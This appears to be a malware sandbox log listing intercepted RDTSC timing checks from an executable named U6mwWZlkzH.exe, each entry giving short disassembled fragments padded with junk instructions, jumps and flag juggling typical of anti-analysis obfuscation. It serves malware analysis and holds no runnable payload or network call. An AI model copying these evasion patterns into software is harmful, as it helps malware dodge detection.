Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890DAB second address: 7890DC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov ch, 1Dh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov eax, 7315316Dh 0x00000014 mov ah, 77h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890DC2 second address: 7890DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B33Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890DD1 second address: 7890DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890DD5 second address: 7890DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-18h] 0x0000000b pushad 0x0000000c movsx edi, cx 0x0000000f mov di, si 0x00000012 popad 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov edx, 5DDB3E26h 0x0000001c mov edx, 1EAD16B2h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890DF7 second address: 7890DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890DFD second address: 7890E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890E01 second address: 7890E19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e mov esi, edx 0x00000010 popad 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890E19 second address: 7890E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890E1D second address: 7890E37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890E37 second address: 7890E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B33Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890EEE second address: 7890F1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+0Ch], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3FC4805ACDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890F1D second address: 7890F23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890F23 second address: 7890F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890F27 second address: 7890F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, 761C06ECh 0x0000000d jmp 00007F3FC515B33Fh 0x00000012 sub eax, eax 0x00000014 jmp 00007F3FC515B33Fh 0x00000019 lock cmpxchg dword ptr [edx], ecx 0x0000001d pushad 0x0000001e movzx ecx, di 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F3FC515B347h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7890F75 second address: 789100F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edi 0x0000000b jmp 00007F3FC4805AD0h 0x00000010 test eax, eax 0x00000012 pushad 0x00000013 pushad 0x00000014 movzx ecx, bx 0x00000017 push edx 0x00000018 pop esi 0x00000019 popad 0x0000001a popad 0x0000001b jne 00007F40330B41D4h 0x00000021 pushad 0x00000022 call 00007F3FC4805ACCh 0x00000027 pushfd 0x00000028 jmp 00007F3FC4805AD2h 0x0000002d sub si, 3448h 0x00000032 jmp 00007F3FC4805ACBh 0x00000037 popfd 0x00000038 pop esi 0x00000039 mov edi, 07D5468Ch 0x0000003e popad 0x0000003f mov edx, dword ptr [ebp+08h] 0x00000042 pushad 0x00000043 mov edx, 32EBDB24h 0x00000048 mov ecx, edx 0x0000004a popad 0x0000004b mov eax, dword ptr [esi] 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F3FC4805AD1h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789100F second address: 7891013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891013 second address: 7891019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891019 second address: 789101F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789101F second address: 7891057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx], eax 0x0000000a jmp 00007F3FC4805AD2h 0x0000000f mov eax, dword ptr [esi+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3FC4805AD7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891057 second address: 789106F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B344h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789106F second address: 7891073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891073 second address: 7891088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, di 0x00000011 mov ax, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891088 second address: 78910A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3FC4805ACCh 0x00000008 pop eax 0x00000009 movsx ebx, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esi+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78910A7 second address: 78910AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78910AB second address: 78910B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78910B1 second address: 78910FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 9Bh 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [edx+08h], eax 0x0000000d jmp 00007F3FC515B33Bh 0x00000012 mov eax, dword ptr [esi+0Ch] 0x00000015 jmp 00007F3FC515B346h 0x0000001a mov dword ptr [edx+0Ch], eax 0x0000001d jmp 00007F3FC515B340h 0x00000022 mov eax, dword ptr [esi+10h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78910FD second address: 7891107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 7D3B7C2Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891202 second address: 7891206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891206 second address: 789126A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx edi, cx 0x00000009 popad 0x0000000a mov eax, dword ptr [esi+24h] 0x0000000d pushad 0x0000000e mov cx, EC39h 0x00000012 pushad 0x00000013 mov di, ax 0x00000016 pushfd 0x00000017 jmp 00007F3FC4805AD0h 0x0000001c xor ax, DA48h 0x00000021 jmp 00007F3FC4805ACBh 0x00000026 popfd 0x00000027 popad 0x00000028 popad 0x00000029 mov dword ptr [edx+24h], eax 0x0000002c jmp 00007F3FC4805AD6h 0x00000031 mov eax, dword ptr [esi+28h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F3FC4805ACAh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789126A second address: 7891270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891270 second address: 78912BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+28h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F3FC4805AD7h 0x00000015 or eax, 5F38BF4Eh 0x0000001b jmp 00007F3FC4805AD9h 0x00000020 popfd 0x00000021 mov dx, ax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78912BB second address: 7891304 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [esi+2Ch] 0x0000000c jmp 00007F3FC515B33Eh 0x00000011 mov dword ptr [edx+2Ch], ecx 0x00000014 jmp 00007F3FC515B340h 0x00000019 mov ax, word ptr [esi+30h] 0x0000001d pushad 0x0000001e mov dx, ax 0x00000021 call 00007F3FC515B33Ah 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891304 second address: 789131A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov word ptr [edx+30h], ax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3FC4805ACAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789131A second address: 7891342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 7C4BD534h 0x00000008 mov edi, 0D6B10A0h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ax, word ptr [esi+32h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3FC515B342h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891476 second address: 789147A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 789147A second address: 7891497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7891497 second address: 78914B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov dh, 8Dh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3FC4805AD1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78914B6 second address: 78914D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B341h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78914D2 second address: 78914D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78914D8 second address: 78914DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78914DE second address: 789153A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805ACCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F3FC4805ACDh 0x00000015 sbb si, 8026h 0x0000001a jmp 00007F3FC4805AD1h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F3FC4805AD0h 0x00000026 add cl, FFFFFFC8h 0x00000029 jmp 00007F3FC4805ACBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0CD3 second address: 78D0CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0CD9 second address: 78D0CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F3FC4805AD6h 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0CFD second address: 78D0D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 159BFFF0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov ch, dl 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0D0B second address: 78D0D4D instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov di, ax 0x0000000d call 00007F3FC4805AD4h 0x00000012 call 00007F3FC4805AD2h 0x00000017 pop ecx 0x00000018 pop edi 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 mov bx, 53DCh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0D4D second address: 78D0D6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B342h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0D6A second address: 78D0D6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0D6E second address: 78D0D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0D74 second address: 78D0D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78D0D7A second address: 78D0D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7820019 second address: 7820079 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a mov di, 218Ch 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F3FC4805ACEh 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 movzx eax, di 0x0000001b pushfd 0x0000001c jmp 00007F3FC4805AD3h 0x00000021 add eax, 0F9D3EEEh 0x00000027 jmp 00007F3FC4805AD9h 0x0000002c popfd 0x0000002d popad 0x0000002e pop ebp 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 mov bx, ax 0x00000035 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7820641 second address: 7820645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7820645 second address: 7820650 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7820650 second address: 7820654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7820654 second address: 782067C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3FC4805ACEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7870AC6 second address: 7870ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B340h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7870ADA second address: 7870ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7870ADE second address: 7870B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3FC515B349h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7870B04 second address: 7870B19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7870B19 second address: 7870B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B33Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7870B29 second address: 7870B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7850008 second address: 785000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 785000C second address: 7850020 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7850020 second address: 7850094 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F3FC515B344h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov eax, 0EA28693h 0x00000018 call 00007F3FC515B348h 0x0000001d pushad 0x0000001e popad 0x0000001f pop eax 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F3FC515B347h 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c call 00007F3FC515B33Bh 0x00000031 pop esi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7850094 second address: 7850099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7850099 second address: 785009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 785009F second address: 78500A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78500A3 second address: 78500E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF0h 0x0000000b jmp 00007F3FC515B33Ah 0x00000010 sub esp, 44h 0x00000013 jmp 00007F3FC515B340h 0x00000018 xchg eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3FC515B347h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78502EB second address: 785032A instructions: 0x00000000 rdtsc 0x00000002 mov si, FE45h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3FC4805AD2h 0x0000000d popad 0x0000000e mov esp, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, AFF0h 0x00000017 call 00007F3FC4805AD9h 0x0000001c pop eax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78807CE second address: 78807D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78807D2 second address: 78807D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78807D6 second address: 78807DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78807DC second address: 78807E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78807E2 second address: 7880867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B344h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov cx, B43Dh 0x00000011 pushfd 0x00000012 jmp 00007F3FC515B33Ah 0x00000017 adc al, 00000018h 0x0000001a jmp 00007F3FC515B33Bh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007F3FC515B349h 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 mov cx, 3953h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushfd 0x00000030 jmp 00007F3FC515B346h 0x00000035 and si, 16D8h 0x0000003a jmp 00007F3FC515B33Bh 0x0000003f popfd 0x00000040 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880867 second address: 7880881 instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3FC4805ACCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880881 second address: 7880890 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880890 second address: 7880896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880896 second address: 788089A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 788089A second address: 788089E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
